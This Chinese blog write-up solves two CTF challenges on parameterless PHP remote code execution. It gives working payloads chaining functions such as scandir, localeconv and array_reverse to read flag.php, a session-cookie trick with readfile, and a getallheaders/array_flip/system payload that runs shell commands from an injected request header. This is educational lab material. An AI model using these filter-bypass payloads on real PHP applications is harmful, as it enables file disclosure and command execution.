[GXYCTF2019]禁止套娃1(无参RCE)

这一题用githack获取源码我就不讲了,我想说的是这个题的方法和我自己的理解

!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])

这段代码就是禁止我们用一些php伪协议之类的东西

 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

这个就比较有意思了

大概的意思就是把'a-z,_'之后的东西转义为NULL,通俗来说就是可以使用函数但是不能使用参数,下面是在shell中的测试结果

解法一:
函数介绍:

scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的二维数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西

使用常规解法,最终payload为:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

接下来逐个解析,1、 这里的var_dump(localeconv());我们能看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的

2、 利用current()函数将这个点取出来的,点代表的是当前目录,那接下来就很好理解了,我们可以利用这个点完成遍历目录的操作,相当于就是linux中的ls指令

3、既然current()取第一个值,那么current(localeconv())就能构造一个‘.’,'.' 表示当前目录,scandir('.') 将返回当前目录中的文件和子目录,这里我们得知flag所在的文件名就是flag.php

4、然而flag的文件名在比较后端我们可以通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二

5、移动指针读取第二个数组,参照下列数组移动操作可知我们应选用next()函数:

end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

6、最后用highlight_file()返回文件内容

解法二:

在知道文件名为flag.php的情况下直接读文件

如果已知文件名,改包手动添加cookie头把文件名写在PHPSESSID后面,

添加Cookie:PHPSESSID=flag.php

构造payload为:

readfile(session_id(session_start()));

---------------------------------------------------------------------------------------------------------------------------------我们来看另外一个无参rce

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

题目源码如上

这是gpt的解释,也就是说我们调用函数的时候不能有参数,只能像这样func1(func2());

本来还想利用?star=highlight_file(next(array_reverse(scandir(current(localeconv())))));来做的,但是很多函数这题都被过滤了

这里使用 getallheaders() 或者apache_request_headers()函数,获取全部 HTTP 请求头信息。

?star=print_r(getallheaders());

那么我们还要用到两个函数:

array_flip:反转键值

array_rand:随机取一个键名

那么什么是键值、键名?

使用burpsuite抓包后随便增加一个请求头

比如 myon:ls /(前面是请求头名字,后面是我们要执行的命令)

比如我们上面打印出来的东西:

[User-Agent] => Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.86

前面的User-Agent叫做键名,后面的内容就是键值。

实际上在这里它一定程度上对应了我们的请求头和请求头内容,

因此,我们构造payload:

?star=system(array_rand(array_flip(getallheaders())));

使用burpsuite抓包后随便增加一个请求头

比如 myon:ls /(前面是请求头名字,后面是我们要执行的命令)

关于payload的解释:

先用 getallheaders() 获取全部请求头信息,再用 array_flip() 反转键值,即将 ls /  放到键名的位置,因为 array_rand 是随机取一个键名,反转之后获取到的就是命令,如果没有进行反转,获取到的就是myon。

这里需要多发几次包,因为array_rand 是随机获取的;


原文链接:https://blog.csdn.net/Myon5/article/details/133839819

原文链接:https://blog.csdn.net/2301_76690905/article/details/134089541

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值